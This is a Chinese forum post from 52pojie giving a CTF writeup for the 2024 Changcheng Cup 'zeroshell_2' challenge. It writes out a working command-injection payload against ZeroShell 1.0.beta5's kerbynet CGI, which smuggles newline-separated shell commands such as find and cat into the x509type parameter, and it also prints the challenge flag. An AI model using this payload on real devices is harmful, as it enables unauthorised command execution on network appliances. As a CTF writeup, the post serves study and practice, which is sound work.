吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 941|回复: 6
收起左侧

[CTF] 2024长城杯初赛zeroshell_2 wp

  [复制链接]
aaacker 发表于 2024-12-15 19:54
本帖最后由 aaacker 于 2024-12-16 12:16 编辑

zeroshell_2 writeup

step.1

根据zeroshell_1的题目得到关键词 command

https://www.helloimg.com/i/2024/12/16/675fa874a7c07.png

step.2

wireshark搜索command,

https://www.helloimg.com/i/2024/12/16/675fa874cbe37.png

得到如下内容

..).u...).Q...E.  .../@.@...=..d=.  ...P.l.E..2k....  ..M.......Sn...k ..e download sec tion..</font>.</ td></tr>.</table >...<b>August 22 , 2007</b><br>.< table width=100% >.<tr ><td valig n=top width=1%>< font color=#0090 00 class=Smaller 1>* </font> </td><td>.<font color=#303030 st yle="font-size: 10px;">.ZeroShel l 1.0.beta6 rele ase is available . The main new features are related to the Captive Portal which is now able to authenticate also by using external RADIUS servers and the X.509 certificates. The X.509 authentication allow you to use the Smart Card to access to the LAN..This release includes the Daemon Watcher that is a process which checks if the services (LDAP, DNS, Kerberos, RADIU S, DHCP, ssh) work fine and it restarts them if a crash occurs..  FreeRadius is up dated with the latest release which should work with the supplic ant 802.1x/PEAP of Windows Vista . .</br>.</font> .</td></tr>.</ta ble>..<b>July 2, 2007</b><br>.<t able width=100%> .<tr ><td valign =top width=1%><f ont color=#00900 0 class=Smaller1 >* </font>< /td><td>.<font c olor=#303030 sty le="font-size: 1 0px;">.There is a bug in the release 1.0.beta5 of ZeroShell for which the VoIP connections with SIP protocol could not work correctly. To solve the problem you have to add the command <i>modprobe -r ip_nat_sip</i> in the startup script from the section [Setup]->[Startup].  .</br>.</font>.  </td></tr>.</tab le>...<b>June 27 , 2007</b><br>.< table width=100% >.<tr ><td valig n=top width=1%>< font color=#0090 00 class=Smaller 1>* </font> </td><td>.

得知zeroshell的版本号是 1.0.beta5,并且有个bug

step.3

bing搜索 zeroshell 1.0.beta5 漏洞

https://www.helloimg.com/i/2024/12/16/675fa8745e750.png

得到poc

/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27

访问61.139.2.100,修改poc

61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Afind / -name flag%0A%27

https://www.helloimg.com/i/2024/12/16/675fa874ad4f4.png

查看一下/DB/_DB.001/flag

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Acat%20/DB/_DB.001/flag%0A%27

https://www.helloimg.com/i/2024/12/16/675fa874b0499.png

查看一下/Database/flag

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Acat%20/Database/flag%0A%27

https://www.helloimg.com/i/2024/12/16/675fa9529d476.png

发现flag是一样的

step.4

提交flag

flag{c6045425-6e6e-41d0-be09-95682a4f65c4 }

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
qfqha + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Ktutu 发表于 2024-12-17 15:43
qfqha 发表于 2024-12-17 11:46
这个算是逆向方向吗

更像AWD的
 楼主| aaacker 发表于 2024-12-16 12:07
怎么上传图片

点评

https://www.52pojie.cn/misc.php?mod=faq&action=faq&id=29&messageid=36  详情 回复 发表于 2024-12-16 12:19
Hmily 发表于 2024-12-16 12:19
shuguang2121 发表于 2024-12-16 22:27
感谢分享
qfqha 发表于 2024-12-17 11:46
这个算是逆向方向吗
wangzhenuen 发表于 2024-12-18 10:48
感谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-22 19:24

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表